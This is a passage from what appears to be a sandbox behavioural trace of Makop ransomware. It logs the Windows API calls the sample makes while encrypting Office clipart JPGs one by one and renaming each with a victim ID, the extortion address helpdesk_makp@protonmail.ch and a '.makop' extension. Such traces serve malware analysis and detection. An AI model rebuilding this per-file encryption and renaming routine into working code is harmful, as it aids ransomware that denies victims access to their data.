lpOverlapped=0x0) returned 1 [0137.540] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x193f0, dwBufLen=0x193f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x193f0) returned 1 [0137.541] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.542] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x193f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x193f0, lpOverlapped=0x0) returned 1 [0137.542] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.543] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x194c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.543] SetEndOfFile (hFile=0xf0) returned 1 [0137.550] GetProcessHeap () returned 0x48a0000 [0137.551] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.551] GetProcessHeap () returned 0x48a0000 [0137.551] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.551] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.551] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.552] CloseHandle (hObject=0xf0) returned 1 [0137.552] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14f8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382959.JPG", cAlternateFileName="")) returned 1 [0137.553] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG") returned 63 [0137.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.555] GetProcessHeap () returned 0x48a0000 [0137.555] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.555] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.555] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.555] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0137.560] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.560] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.560] GetProcessHeap () returned 0x48a0000 [0137.560] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.560] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.560] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.560] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.560] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.560] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.560] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.561] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.561] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.561] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.561] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.561] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.561] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x14f8a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x14f8a, lpOverlapped=0x0) returned 1 [0137.564] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14f90, dwBufLen=0x14f90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14f90) returned 1 [0137.565] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.565] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x14f90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x14f90, lpOverlapped=0x0) returned 1 [0137.566] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.566] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x15064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.566] SetEndOfFile (hFile=0xf0) returned 1 [0137.574] GetProcessHeap () returned 0x48a0000 [0137.574] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.574] GetProcessHeap () returned 0x48a0000 [0137.574] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.574] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.574] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.576] CloseHandle (hObject=0xf0) returned 1 [0137.576] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382960.JPG", cAlternateFileName="")) returned 1 [0137.576] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG") returned 63 [0137.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.579] GetProcessHeap () returned 0x48a0000 [0137.579] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.579] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.579] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.579] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0137.585] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.585] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.585] GetProcessHeap () returned 0x48a0000 [0137.585] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.585] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.586] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.586] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.586] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.586] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.586] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.586] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.586] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.587] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.587] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.587] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.587] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1a3f4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1a3f4, lpOverlapped=0x0) returned 1 [0137.602] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a400, dwBufLen=0x1a400 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a400) returned 1 [0137.603] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.604] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1a400, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1a400, lpOverlapped=0x0) returned 1 [0137.605] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.605] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1a4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.605] SetEndOfFile (hFile=0xf0) returned 1 [0137.613] GetProcessHeap () returned 0x48a0000 [0137.613] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.613] GetProcessHeap () returned 0x48a0000 [0137.613] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.613] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.613] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.615] CloseHandle (hObject=0xf0) returned 1 [0137.615] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18ac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382961.JPG", cAlternateFileName="")) returned 1 [0137.615] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG") returned 63 [0137.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.616] GetProcessHeap () returned 0x48a0000 [0137.616] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.616] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.616] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.616] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0137.621] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.621] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.621] GetProcessHeap () returned 0x48a0000 [0137.621] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.621] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.621] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.622] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.622] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.622] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.622] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.622] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.622] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.622] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.623] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.623] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.623] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x18ac4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x18ac4, lpOverlapped=0x0) returned 1 [0137.626] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x18ad0, dwBufLen=0x18ad0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x18ad0) returned 1 [0137.627] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.627] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x18ad0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x18ad0, lpOverlapped=0x0) returned 1 [0137.628] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.628] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x18ba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.628] SetEndOfFile (hFile=0xf0) returned 1 [0137.635] GetProcessHeap () returned 0x48a0000 [0137.635] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.636] GetProcessHeap () returned 0x48a0000 [0137.636] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.636] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.636] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.638] CloseHandle (hObject=0xf0) returned 1 [0137.638] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bef7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382962.JPG", cAlternateFileName="")) returned 1 [0137.638] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG") returned 63 [0137.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.639] GetProcessHeap () returned 0x48a0000 [0137.639] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.639] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.639] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.639] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x9, lpOverlapped=0x0) returned 1 [0137.643] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.643] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.643] GetProcessHeap () returned 0x48a0000 [0137.643] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.643] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.644] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.644] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.644] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.644] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.644] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.644] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.644] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, 